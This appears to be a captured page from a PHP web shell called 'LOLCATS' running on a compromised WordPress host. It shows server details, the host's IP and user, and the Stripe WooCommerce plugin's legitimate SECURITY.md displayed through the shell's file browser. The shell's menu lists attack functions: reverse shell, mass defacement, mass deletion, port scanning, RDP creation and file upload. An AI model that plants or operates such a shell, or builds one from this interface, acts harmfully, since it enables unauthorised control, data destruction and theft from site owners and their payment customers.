LOLCATS

: /home/oreillerth/_OLD/wp-content/plugins/woocommerce-gateway-stripe/ [ drwxr-xr-x ]

Information Server

System: Linux webm004.cluster120.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP Version: 7.3.33 PHP Os: Linux
Server IP: 46.105.57.169
Your IP: 216.73.216.186
User: oreillerth [2163] | Group: [users] [100]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

_dyuweyrj4,_dyuweyrj4r,dl

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: SECURITY.md

# Security Policy

Full details of the Automattic Security Policy can be found on [automattic.com](https://automattic.com/security/).

## Supported Versions

Generally, only the latest version of the extension has continued support.  In some cases, we may opt to backport critical vulnerabilities fixes to previous versions.

## Reporting a Vulnerability

[WooCommerce Stripe Payment Gateway](https://woocommerce.com/products/stripe/) is an open-source plugin for WooCommerce. Our HackerOne program covers the plugin software.

**For responsible disclosure of security issues and to be eligible for our bug bounty program, please submit your report via the [HackerOne](https://hackerone.com/automattic) portal.**

_Please note that the **WordPress software is a separate entity** from Automattic. Please report vulnerabilities for WordPress through [the WordPress Foundation's HackerOne page](https://hackerone.com/wordpress)._

## Guidelines

We're committed to working with security researchers to resolve the vulnerabilities they discover. You can help us by following these guidelines:

*   Follow [HackerOne's disclosure guidelines](https://www.hackerone.com/disclosure-guidelines).
*   Pen-testing Production:
    *   Please **setup a local environment** instead whenever possible. Most of our code is open source (see above).
    *   If that's not possible, **limit any data access/modification** to the bare minimum necessary to reproduce a PoC.
    *   **_Don't_ automate form submissions!** That's very annoying for us, because it adds extra work for the volunteers who manage those systems, and reduces the signal/noise ratio in our communication channels.
    *   To be eligible for a bounty, all of these guidelines must be followed.
*   Be Patient - Give us a reasonable time to correct the issue before you disclose the vulnerability.

We also expect you to comply with all applicable laws. You're responsible to pay any taxes associated with your bounties.

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
SECURITY.md	f!le	2021-09-10 15:34	1.93 KB	oreillerth / users	-rw-r--r--
apple-developer-merchanti...-.	f!le	2021-09-10 15:34	8.9 KB	oreillerth / users	-rw-r--r--
changelog.txt	f!le	2021-09-10 15:34	41.95 KB	oreillerth / users	-rw-r--r--
readme.txt	f!le	2021-09-10 15:34	5.69 KB	oreillerth / users	-rw-r--r--
uninstall.php	f!le	2021-09-10 15:34	1.78 KB	oreillerth / users	-rw-r--r--
woocommerce-gateway-strip...-.	f!le	2021-09-10 15:34	17.14 KB	oreillerth / users	-rw-r--r--